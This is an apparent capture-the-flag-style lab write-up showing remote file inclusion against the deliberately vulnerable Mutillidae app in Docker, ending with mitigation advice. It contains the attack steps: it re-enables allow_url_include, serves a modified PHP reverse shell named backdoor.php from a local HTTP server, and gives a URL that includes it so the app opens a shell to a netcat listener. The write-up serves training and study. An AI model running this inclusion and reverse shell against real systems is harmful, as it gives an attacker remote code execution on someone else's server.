Mutillidae - Insecure Direct Object Reference (RFI)

Mutillidae – Insecure Direct Object Reference (RFI)

In this walk through, we will be going through the Insecure Direct Object Reference (RFI) vulnerability section from Mutillidae Labs. We will be exploring and exploiting Insecure Direct Object Reference (IDOR RFI) and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

Insecure Direct Object Reference (RFI)

Security Level: 0 (Hosed)

  • Setting the security level to 0 or Hosed.

Security level 0

Setup for RFI:

sudo docker ps 
CONTAINER ID   IMAGE                      COMMAND                  CREATED          STATUS          PORTS                                                                                NAMES
41282e579d9c   bltsec/mutillidae-docker   "/usr/bin/supervisord"   19 minutes ago   Up 19 minutes   0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 3306/tcp   owasp15

sudo docker cp 41282e579d9c:/opt/lampp/etc/php.ini .
Successfully copied 71.2kB to /home/wh1terose/.

sudo nano php.ini
Ctrl + W 
allow_url_include # Change both to ON.

sudo docker cp php.ini 41282e579d9c:/opt/lampp/etc/php.ini
Successfully copied 71.2kB to 41282e579d9c:/opt/lampp/etc/php.ini

sudo docker exec -it 41282e579d9c bash

root@bba1735ba6a7:~# /opt/lampp/lampp restart
Restarting XAMPP for Linux 5.6.30-0...
XAMPP: Stopping Apache...ok.
XAMPP: Stopping MySQL...ok.
XAMPP: Stopping ProFTPD...ok.
XAMPP: Starting Apache.../opt/lampp/share/xampp/xampplib: line 22: netstat: command not found
/opt/lampp/share/xampp/xampplib: line 22: netstat: command not found
ok.
XAMPP: Starting MySQL.../opt/lampp/share/xampp/xampplib: line 22: netstat: command not found
ok.
XAMPP: Starting ProFTPD.../opt/lampp/share/xampp/xampplib: line 22: netstat: command not found
ok.

allow_url settings

Remote File Inclusion

  • Changing the IP address in Pentest monkey PHP reverse shell and naming it backdoor.php

make changes in payload

  • Starting an HTTP server to serve our payload.

python3 -m http.server

python HTTP server

  • Exploiting RFI to get a reverse shell.

http://localhost/mutillidae/index.php?page=http://192.168.29.81:8000/backdoor.php

netcat listener

Also Read: Mutillidae – Insecure Direct Object Reference (Credits)

Conclusion:

Conclusion

So, we finally completed all the security levels for the Insecure Direct Object Reference (RFI) Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential IDOR attacks by implementing access control checks for each object that users are trying to access. The Web frameworks often provide ways to facilitate this. Along with that, avoid exposing identifiers in URLs and GET bodies if possible. Instead, determine the currently authenticated user from session information. Also, RFI can be mitigated by disabling “allow_url_include” and “allow_url_fopen” in PHP configuration files and sanitizing the user input.On that note, i will take your leave and will meet you in next one with another Mutillidae vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top